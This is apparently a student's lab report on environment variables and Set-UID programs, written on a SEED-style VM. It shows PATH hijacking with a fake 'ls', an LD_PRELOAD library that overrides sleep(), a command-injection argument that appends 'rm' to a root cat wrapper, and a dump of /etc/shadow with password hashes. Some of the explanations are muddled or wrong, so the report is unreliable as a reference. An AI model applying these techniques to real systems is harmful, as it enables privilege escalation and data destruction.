:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35
:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XDG_CURRENT_DESKTOP=ubuntu:GNOME
VTE_VERSION=6003
GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/185700a9_8ff1_4b9f_9f2b_fade6865102b
INVOCATION_ID=812a9e42c18046eb9aac6b780119d91e
MANAGERPID=1746
GJS_DEBUG_OUTPUT=stderr
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
GNOME_TERMINAL_SERVICE=:1.175
DISPLAY=:0
SHLVL=1
QT_IM_MODULE=ibus
XDG_RUNTIME_DIR=/run/user/1000
JOURNAL_STREAM=8:37596
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
OLDPWD=/home/seed/Desktop
 =./myenv1
```

Observation : when a new program is executed via execve() depends on the presence or absence of the environment parameter passed to execve(). If the environment parameter is set to NULL, the new program starts with an empty environment. If the environment parameter is set to the environ array of the calling process, the new program inherits the same environment variables as the calling process.

2.4 Task 4: Environment Variables and system()

In this task, we study how environment variables are affected when a new program is executed via the `system()` function. This function is used to execute a command, but unlike `execve()`, which directly executes a command, `system()` actually executes `"/bin/sh -c command"`, i.e., it executes `/bin/sh`, and asks the shell to execute the command.

If you look at the implementation of the `system()` function, you will see that it uses `execl()` to execute `/bin/sh`; `execl()` calls `execve()`, passing to it the environment variables array. Therefore, using `system()`, the environment variables of the calling process is passed to the new program `/bin/sh`. Please compile and run the following program to verify this.

```c
#include <stdio.h>
#include <stdlib.h>

int main()
{
  system("/usr/bin/env");
  return 0 ;
}
```

Saved file as mysys.c

```
[08/26/23]seed@VM:~/.../Labsetup$ ls
a.out  cap_leak.c  catall.c  child  childout.txt  myenv  myenv1  myenv.c  myprintenv.c  mysys  mysys.c  out1  out2  parent  parentout.txt
[08/26/23]seed@VM:~/.../Labsetup$ cat mysys.c
#include <stdio.h>
#include <stdlib.h>
int main()
{
system("/usr/bin/env");
return 0 ;
}
```

```
[08/26/23]seed@VM:~/.../Labsetup$ gcc mysys.c -o mysys
[08/26/23]seed@VM:~/.../Labsetup$ ./mysys
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2007,unix/VM:/tmp/.ICE-unix/2007
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1961
GTK_MODULES=gail:atk-bridge
PWD=/home/seed/Desktop/Labsetup
XDG_SESSION_DESKTOP=ubuntu
LOGNAME=seed
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
_=/usr/bin/env
XAUTHORITY=/run/user/1000/gdm/Xauthority
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
WINDOWPATH=2
HOME=/home/seed
USERNAME=seed
IM_CONFIG_PHASE=1
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=0
1;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;3
1:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp
=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35
:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35
:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XDG_CURRENT_DESKTOP=ubuntu:GNOME
VTE_VERSION=6003
GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/185700a9_8ff1_4b9f_9f2b_fade6865102b
INVOCATION_ID=812a9e42c18046eb9aac6b780119d91e
MANAGERPID=1746
GJS_DEBUG_OUTPUT=stderr
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
GNOME_TERMINAL_SERVICE=:1.175
DISPLAY=:0
SHLVL=1
QT_IM_MODULE=ibus
XDG_RUNTIME_DIR=/run/user/1000
JOURNAL_STREAM=8:37596
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
OLDPWD=/home/seed/Desktop
[08/26/23]seed@VM:~/.../Labsetup$ sudo ln -sf /bin/bash /bin/sh
[08/26/23]seed@VM:~/.../Labsetup$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
[08/26/23]seed@VM:~/.../Labsetup$
```

Observation : The program confirms that when a new program is executed using the system() function, the environment variables from the calling process are indeed passed to the new program. This is because the system() function uses **"/bin/sh -c command"** to execute the command, and the shell inherits the environment variables from the parent process. As a result, any variables set in the calling program will be visible to the new program executed via system().

Or

If the "/bin/sh -c command" behaviour is implicit when using the system() function, it can potentially lead to security vulnerabilities. This is because the command is executed within a shell, and if user-controlled input is involved in constructing the command, it might be exploited to execute unintended or malicious commands.

2.5 Task 5: Environment Variable and Set-UID Programs

2.5 Task 5: Environment Variable and `Set-UID` Programs

`Set-UID` is an important security mechanism in Unix operating systems. When a `Set-UID` program runs, it assumes the owner's privileges. For example, if the program's owner is root, when anyone runs this program, the program gains the root's privileges during its execution. `Set-UID` allows us to do many interesting things, but since it escalates the user's privilege, it is quite risky. Although the behaviors of `Set-UID` programs are decided by their program logic, not by users, users can indeed affect the behaviors via environment variables. To understand how `Set-UID` programs are affected, let us first figure out whether environment variables are inherited by the `Set-UID` program's process from the user's process.

```
[08/26/23]seed@VM:~/.../Labsetup$ ls
a.out       catall.c      myenv    myprintenv.c  out1    parentout.txt
cap_leak    child         myenv1   mysys         out2    setuid.c
cap_leak.c  childout.txt  myenv.c  mysys.c       parent
[08/26/23]seed@VM:~/.../Labsetup$ cat setuid.c
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
int main()
{
int i = 0;
while (environ[i] != NULL) {
printf("%s\n", environ[i]);
i++;
}
}
[08/26/23]seed@VM:~/.../Labsetup$ gcc setuid.c -o setuid
[08/26/23]seed@VM:~/.../Labsetup$ sudo chown root setuid
[08/26/23]seed@VM:~/.../Labsetup$ sudo chmod 4755 setuid
[08/26/23]seed@VM:~/.../Labsetup$ export PATH=$PATH:task5
[08/26/23]seed@VM:~/.../Labsetup$ export LD_LIBRARY_PAHT=cannotedit
[08/26/23]seed@VM:~/.../Labsetup$ export myenv=test
```

```
[08/26/23]seed@VM:~/.../Labsetup$ ./setuid
SHELL=/bin/bash
SESSION_MANAGER=local/VM:@/tmp/.ICE-unix/2007,unix/VM:/tmp/.ICE-unix/2007
myenv=test
QT_ACCESSIBILITY=1
COLORTERM=truecolor
XDG_CONFIG_DIRS=/etc/xdg/xdg-ubuntu:/etc/xdg
XDG_MENU_PREFIX=gnome-
GNOME_DESKTOP_SESSION_ID=this-is-deprecated
GNOME_SHELL_SESSION_MODE=ubuntu
SSH_AUTH_SOCK=/run/user/1000/keyring/ssh
XMODIFIERS=@im=ibus
DESKTOP_SESSION=ubuntu
SSH_AGENT_PID=1961
GTK_MODULES=gail:atk-bridge
PWD=/home/seed/Desktop/Labsetup
LOGNAME=seed
XDG_SESSION_DESKTOP=ubuntu
XDG_SESSION_TYPE=x11
GPG_AGENT_INFO=/run/user/1000/gnupg/S.gpg-agent:0:1
XAUTHORITY=/run/user/1000/gdm/Xauthority
LD_LIBRARY_PAHT=cannotedit
GJS_DEBUG_TOPICS=JS ERROR;JS LOG
WINDOWPATH=2
HOME=/home/seed
USERNAME=seed
IM_CONFIG_PHASE=1
LANG=en_US.UTF-8
LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=0
1;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;3
1:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp
=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35
:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35
:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:
XDG_CURRENT_DESKTOP=ubuntu:GNOME
VTE_VERSION=6003
GNOME_TERMINAL_SCREEN=/org/gnome/Terminal/screen/f3d34f7d_f93a_4720_b84f_b6a0a3c7f532
INVOCATION_ID=812a9e42c18046eb9aac6b780119d91e
MANAGERPID=1746
GJS_DEBUG_OUTPUT=stderr
LESSCLOSE=/usr/bin/lesspipe %s %s
XDG_SESSION_CLASS=user
TERM=xterm-256color
LESSOPEN=| /usr/bin/lesspipe %s
USER=seed
GNOME_TERMINAL_SERVICE=:1.309
DISPLAY=:0
SHLVL=1
QT_IM_MODULE=ibus
XDG_RUNTIME_DIR=/run/user/1000
JOURNAL_STREAM=8:37596
XDG_DATA_DIRS=/usr/share/ubuntu:/usr/local/share/:/usr/share/:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.:task5
GDMSESSION=ubuntu
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1000/bus
OLDPWD=/home/seed/Desktop
_=./setuid
[08/26/23]seed@VM:~/.../Labsetup$ ./setuid | grep PATH
WINDOWPATH=2
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.:task5
[08/26/23]seed@VM:~/.../Labsetup$ ./setuid | grep myenv
myenv=test
[08/26/23]seed@VM:~/.../Labsetup$ ./setuid | grep LD_LIBRARY_PATH
[08/26/23]seed@VM:~/.../Labsetup$
```

Observation : The Set-UID program inherits environment variables from the user's shell process, including important ones like PATH and user-defined variables. However, this inheritance can be exploited by attackers to manipulate variables and execute malicious actions with escalated privileges. A common vulnerability arises when an attacker modifies the PATH variable to lead the program into unknowingly executing a malicious version of a command. Proper input validation and careful consideration of Set-UID program usage are vital to prevent this vulnerabilities and unauthorised system access.

2.6 Task 6: The PATH Environment Variable and Set-UID Programs

2.6 Task 6: The PATH Environment Variable and Set-UID Programs

Because of the shell program invoked, calling `system()` within a `Set-UID` program is quite dangerous. This is because the actual behavior of the shell program can be affected by environment variables, such as `PATH`; these environment variables are provided by the user, who may be malicious. By changing these variables, malicious users can control the behavior of the `Set-UID` program. In `Bash`, you can change the `PATH` environment variable in the following way (this example adds the directory `/home/seed` to the beginning of the `PATH` environment variable):

```
$ export PATH=/home/seed:$PATH
```

The `Set-UID` program below is supposed to execute the `/bin/ls` command; however, the programmer only uses the relative path for the `ls` command, rather than the absolute path:

```
int main()
{
  system("ls");
  return 0;
}
```

Please compile the above program, change its owner to `root`, and make it a `Set-UID` program. Can you get this `Set-UID` program to run your own malicious code, instead of `/bin/ls`? If you can, is your malicious code running with the root privilege? Describe and explain your observations.

```
[08/26/23]seed@VM:~/.../Labsetup$ gedit path.c
[08/26/23]seed@VM:~/.../Labsetup$ cat path.c
#include <stdlib.h>

int main()
{
  system("ls");
  return 0;
}
[08/26/23]seed@VM:~/.../Labsetup$ gcc path.c -o path
[08/26/23]seed@VM:~/.../Labsetup$ ls
a.out     cap_leak.c  child        myenv   myenv.c       mysys    out1  parent         path    setuid
cap_leak  catall.c    childout.txt myenv1  myprintenv.c  mysys.c  out2  parentout.txt  path.c  setuid.c
[08/26/23]seed@VM:~/.../Labsetup$ gedit ls.c
[08/26/23]seed@VM:~/.../Labsetup$ gcc -o ls ls.c
ls.c: In function ‘main’:
ls.c:6:3: warning: implicit declaration of function ‘print’; did you mean ‘printf’? [-Wimplicit-function-declaration]
    6 |   print("Hello\n");
      |   ^~~~~
      |   printf
/usr/bin/ld: /tmp/cckbAavf.o: in function `main':
ls.c:(.text+0x15): undefined reference to `print'
collect2: error: ld returned 1 exit status
[08/26/23]seed@VM:~/.../Labsetup$ gcc -o ls ls.c
[08/26/23]seed@VM:~/.../Labsetup$ ls
a.out     cap_leak.c  child        ls    myenv   myenv.c       mysys    out1  parent         path    setuid
cap_leak  catall.c    childout.txt ls.c  myenv1  myprintenv.c  mysys.c  out2  parentout.txt  path.c  setuid.c
[08/26/23]seed@VM:~/.../Labsetup$ ./ls
Hello
[08/26/23]seed@VM:~/.../Labsetup$ /bin/ls
a.out     cap_leak.c  child        ls    myenv   myenv.c       mysys    out1  parent         path    setuid
cap_leak  catall.c    childout.txt ls.c  myenv1  myprintenv.c  mysys.c  out2  parentout.txt  path.c  setuid.c
[08/26/23]seed@VM:~/.../Labsetup$ ls -l ls
-rwxrwxr-x 1 seed seed 16696 Aug 26 14:30 ls
[08/26/23]seed@VM:~/.../Labsetup$ sudo chown root ls
[08/26/23]seed@VM:~/.../Labsetup$ ls -l ls
-rwxrwxr-x 1 root seed 16696 Aug 26 14:30 ls
[08/26/23]seed@VM:~/.../Labsetup$ sudo chown 4755 ls
[08/26/23]seed@VM:~/.../Labsetup$ ls -l ls
-rwxrwxr-x 1 4755 seed 16696 Aug 26 14:30 ls
[08/26/23]seed@VM:~/.../Labsetup$ PWD
PWD: command not found
[08/26/23]seed@VM:~/.../Labsetup$ pwd
/home/seed/Desktop/Labsetup
[08/26/23]seed@VM:~/.../Labsetup$ printenv PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.:task5
[08/26/23]seed@VM:~/.../Labsetup$ export PATH=/home/seed/Desktop/Labsetup:$PATH
[08/26/23]seed@VM:~/.../Labsetup$ printenv PATH
/home/seed/Desktop/Labsetup:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:.:task5
[08/26/23]seed@VM:~/.../Labsetup$ ls
Hello
[08/26/23]seed@VM:~/.../Labsetup$ /bin/ls
a.out     cap_leak.c  child        ls    myenv   myenv.c       mysys    out1  parent         path    setuid
cap_leak  catall.c    childout.txt ls.c  myenv1  myprintenv.c  mysys.c  out2  parentout.txt  path.c  setuid.c
[08/26/23]seed@VM:~/.../Labsetup$ ls
Hello
```

When we do, manipulation of the PATH environment variable causes it to search for the **"ls"** command in the current directory first, as it's explicitly specified. This arrangement prioritizes the current directory over other directories. When "ls" is found as an executable in the current directory, it is executed directly, bypassing the typical behavior of interpreting it as a shell command.

Observation : Set-UID program stems from the insecure usage of the system() function and dependence on the system's environmental variables. Once it is exploited, we can manipulate the PATH variable to coerce the Set-UID program into running our own malicious code, inheriting the program's typically elevated privileges, often associated with root access. Yet, the potency of this attack is diminished because the /bin/sh is associated with a shell that curtails privileges within a Set-UID context.

2.7 Task 7: The LD PRELOAD Environment Variable and Set-UID Programs

In this task, we study how `Set-UID` programs deal with some of the environment variables. Several environment variables, including `LD_PRELOAD`, `LD_LIBRARY_PATH`, and other `LD_*` influence the behavior of dynamic loader/linker. A dynamic loader/linker is the part of an operating system (OS) that loads (from persistent storage to RAM) and links the shared libraries needed by an executable at run time.

In Linux, `ld.so` or `ld-linux.so`, are the dynamic loader/linker (each for different types of binary). Among the environment variables that affect their behaviors, `LD_LIBRARY_PATH` and `LD_PRELOAD` are the two that we are concerned in this lab. In Linux, `LD_LIBRARY_PATH` is a colon-separated set of directories where libraries should be searched for first, before the standard set of directories. `LD_PRELOAD` specifies a list of additional, user-specified, shared libraries to be loaded before all others. In this task, we will only study `LD_PRELOAD`.

```
[08/26/23]seed@VM:~$ ls
Desktop    Downloads  path.c    Public  Templates
Documents  Music      Pictures  snap    Videos
[08/26/23]seed@VM:~$ cd Desktop
[08/26/23]seed@VM:~/Desktop$ ls
Labsetup
[08/26/23]seed@VM:~/Desktop$ cd Labsetup
[08/26/23]seed@VM:~/.../Labsetup$ ls
a.out     child        myenv    myprintenv.c  out2           path.c
cap_leak  childout.txt myenv1   mysys         parent         setuid
cap_leak.c  ls         myenv.c  mysys.c       parentout.txt  setuid.c
catall.c  ls.c         mylib.c  out1          path
[08/26/23]seed@VM:~/.../Labsetup$ cat mylib.c
#include <stdio.h>
void sleep (int s)
{
  /* If this is invoked by a privileged program,
     you can do damages here! */
  printf("I am not sleeping!\n");
}
[08/26/23]seed@VM:~/.../Labsetup$ gcc -fPIC -g -c mylib.c
```

```
[08/26/23]seed@VM:~/.../Labsetup$ gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
[08/26/23]seed@VM:~/.../Labsetup$ export LD_PRELOAD=./libmylib.so.1.0.1
[08/26/23]seed@VM:~/.../Labsetup$ nano myprog.c
[08/26/23]seed@VM:~/.../Labsetup$ gcc myprog.c -o myprog
[08/26/23]seed@VM:~/.../Labsetup$ ./myprog
I am not sleeping!
[08/26/23]seed@VM:~/.../Labsetup$ sudo chown root myprog
[08/26/23]seed@VM:~/.../Labsetup$ sudo chmod 4755 myprog
[08/26/23]seed@VM:~/.../Labsetup$ ./myprog
[08/26/23]seed@VM:~/.../Labsetup$ sudo su
root@VM:/home/seed/Desktop/Labsetup# export LD_PRELOAD=./libmylib.so.1.0.1
root@VM:/home/seed/Desktop/Labsetup# ./myprog
I am not sleeping!
root@VM:/home/seed/Desktop/Labsetup# exit
exit
[08/26/23]seed@VM:~/.../Labsetup$ sudo adduser user1
Adding user `user1' ...
Adding new group `user1' (1001) ...
Adding new user `user1' (1001) with group `user1' ...
Creating home directory `/home/user1' ...
Copying files from `/etc/skel' ...
New password:
Retype new password:
passwd: password updated successfully
Changing the user information for user1
Enter the new value, or press ENTER for the default
        Full Name []: Arvind
        Room Number []: 1
        Work Phone []: 1
        Home Phone []: 1
        Other []: 1
Is the information correct? [Y/n] Y
[08/26/23]seed@VM:~/.../Labsetup$ sudo chown user1 myprog
[08/26/23]seed@VM:~/.../Labsetup$ sudo chmod 4755 myprog
[08/26/23]seed@VM:~/.../Labsetup$ export LD_PRELOAD=./libmylib.so.1.0.1
[08/26/23]seed@VM:~/.../Labsetup$ ./myprog
[08/26/23]seed@VM:~/.../Labsetup$
```

Observation

when Regular Program (Non-Set-UID): The program runs normally, sleeping for a second, as LD_PRELOAD is not set.

Set-UID Root Program (User Execution): The output is "I am not sleeping!" because LD_PRELOAD is set in the user's environment, modifying the sleep function.

Set-UID Root Program (Root Execution): The same output occurs due to LD_PRELOAD set in the root environment, altering the sleep function behaviour.

Set-UID User1 Program (Different User): The program behaves normally, as LD_PRELOAD doesn't affect Set-UID child processes.

In the observation where LD_PRELOAD is set and inherited, the modified sleep function changes how sleep works. The difference arises from privilege separation and environment variable inheritance. LD_PRELOAD isn't typically inherited by Set-UID child processes for security, preventing potential malicious library use for privilege escalation.

2.8 Task 8: Invoking External Programs Using system() versus execve()

Although `system()` and `execve()` can both be used to run new programs, `system()` is quite dangerous if used in a privileged program, such as `Set-UID` programs. We have seen how the PATH environment variable affect the behavior of `system()`, because the variable affects how the shell works. `execve()` does not have the problem, because it does not invoke shell. Invoking shell has another dangerous consequence, and this time, it has nothing to do with environment variables. Let us look at the following scenario.

Bob works for an auditing agency, and he needs to investigate a company for a suspected fraud. For the investigation purpose, Bob needs to be able to read all the files in the company's `Unix` system; on the other hand, to protect the integrity of the system, Bob should not be able to modify any file. To achieve this goal, Vince, the superuser of the system, wrote a special set-root-uid program (see below), and then gave the executable permission to Bob. This program requires Bob to type a file name at the command line, and then it will run `/bin/cat` to display the specified file. Since the program is running as a root, it can display any file Bob specifies. However, since the program has no write operations, Vince is very sure that Bob cannot use this special program to modify any file.

```
[08/26/23]seed@VM:~/.../Labsetup$ ls
a.out         childout.txt       myenv1         myprog     out2           setuid
cap_leak      libmylib.so.1.0.1  myenv.c        myprog.c   parent         setuid.c
cap_leak.c    ls                 mylib.c        mysys      parentout.txt
catall.c      ls.c               mylib.o        mysys.c    path
child         myenv              myprintenv.c   out1       path.c
[08/26/23]seed@VM:~/.../Labsetup$ gcc catall.c -o catall
[08/26/23]seed@VM:~/.../Labsetup$ sudo chown root catall
[08/26/23]seed@VM:~/.../Labsetup$ sudo chmod 4755 catall
[08/26/23]seed@VM:~/.../Labsetup$ ls -l catall
-rwsr-xr-x 1 root seed 16928 Aug 26 15:21 catall
[08/26/23]seed@VM:~/.../Labsetup$ gedit catall.txt
[08/26/23]seed@VM:~/.../Labsetup$ ./catall catall.txt
This the file which BOB just can read, cannot modify this file.
[08/26/23]seed@VM:~/.../Labsetup$ ./catall "catall.txt"
This the file which BOB just can read, cannot modify this file.
[08/26/23]seed@VM:~/.../Labsetup$ ./catall "catall.txt;rm catall.txt"
This the file which BOB just can read, cannot modify this file.
[08/26/23]seed@VM:~/.../Labsetup$ ./catall "catall.txt"
/bin/cat: catall.txt: No such file or directory
[08/26/23]seed@VM:~/.../Labsetup$ gedit catallsafe.c
[08/26/23]seed@VM:~/.../Labsetup$ gcc catallsafe.c -o catallsafe
[08/26/23]seed@VM:~/.../Labsetup$ sudo chown root catallsafe
[08/26/23]seed@VM:~/.../Labsetup$ sudo chmod 4755 catallsafe
[08/26/23]seed@VM:~/.../Labsetup$ ls -l catallsafe
-rwsr-xr-x 1 root seed 16928 Aug 26 15:30 catallsafe
[08/26/23]seed@VM:~/.../Labsetup$ ./catallsafe /etc/shadow
root:!:18590:0:99999:7:::
daemon:*:18474:0:99999:7:::
bin:*:18474:0:99999:7:::
sys:*:18474:0:99999:7:::
sync:*:18474:0:99999:7:::
games:*:18474:0:99999:7:::
man:*:18474:0:99999:7:::
lp:*:18474:0:99999:7:::
mail:*:18474:0:99999:7:::
news:*:18474:0:99999:7:::
uucp:*:18474:0:99999:7:::
proxy:*:18474:0:99999:7:::
www-data:*:18474:0:99999:7:::
backup:*:18474:0:99999:7:::
```

```
dnsmasq:*:18474:0:99999:7:::
cups-pk-helper:*:18474:0:99999:7:::
speech-dispatcher:!:18474:0:99999:7:::
avahi:*:18474:0:99999:7:::
kernoops:*:18474:0:99999:7:::
saned:*:18474:0:99999:7:::
nm-openvpn:*:18474:0:99999:7:::
hplip:*:18474:0:99999:7:::
whoopsie:*:18474:0:99999:7:::
colord:*:18474:0:99999:7:::
geoclue:*:18474:0:99999:7:::
pulse:*:18474:0:99999:7:::
gnome-initial-setup:*:18474:0:99999:7:::
gdm:*:18474:0:99999:7:::
seed:$6$n8DimvsbIgU0OxbD$YZ0h1EAS4bGKeUIMQvRhhYFvkrmMQZdr/hB.Ofe3KFZQTgFTcRgoIoKZdO0rhDRxxaITL4b/scpdbTfk/nwFd0:18590:0:99999:7:::
systemd-coredump:!!:18590::::::
telnetd:*:18590:0:99999:7:::
ftp:*:18590:0:99999:7:::
sshd:*:18590:0:99999:7:::
user1:$6$vTMlmq3SSruDGB52$QC2Od8KQvaiw/M.ooVsEeyoq8yV2irQMfr9KRpUtf2NJSqraj9HQBzLKPuuyYr3TJF04m8L1EL1k1IAyVz9y91:19595:0:99999:7:::
[08/26/23]seed@VM:~/.../Labsetup$ gedit catall.txt
[08/26/23]seed@VM:~/.../Labsetup$ ./catallsafe catall.txt
This is the file Bob just can read, cannot modify this file.
[08/26/23]seed@VM:~/.../Labsetup$ ./catallsafe "catall.txt"
This is the file Bob just can read, cannot modify this file.
[08/26/23]seed@VM:~/.../Labsetup$ ./catallsafe "catall.txt; rm catall.txt"
/bin/cat: 'catall.txt; rm catall.txt': No such file or directory
[08/26/23]seed@VM:~/.../Labsetup$
```

Observation : when system function executes it doesn't execute the command directly it calls the shell instead executes the command so if the program is set uid .the user have temporary root privileges and can remove any file he wants with root privileges and multiple commands can be passed using quotation marks then the semicolon sign.system commands calls the shell and shell passed the string and handle quotation marks whereas execute function calls on replacing the program with the catall program and passes the arguments and strings exactly specified and does not intercept quotes. So, when we pause something after the semicolon sign it is treated as a new command and root privileges would have been lost . so rm command is executed using user privileges which is why we can't delete the files

2.9 Task 9: Capability Leaking

To follow the Principle of Least Privilege, `Set-UID` programs often permanently relinquish their root privileges if such privileges are not needed anymore. Moreover, sometimes, the program needs to hand over its control to the user; in this case, root privileges must be revoked. The `setuid()` system call can be used to revoke the privileges. According to the manual, "`setuid()` sets the effective user ID of the calling process. If the effective UID of the caller is root, the real UID and saved set-user-ID are also set". Therefore, if a `Set-UID` program with effective UID 0 calls `setuid(n)`, the process will become a normal process, with all its UIDs being set to `n`.

When revoking the privilege, one of the common mistakes is capability leaking. The process may have gained some privileged capabilities when it was still privileged; when the privilege is downgraded, if the program does not clean up those capabilities, they may still be accessible by the non-privileged process. In other words, although the effective user ID of the process becomes non-privileged, the process is still privileged because it possesses privileged capabilities.

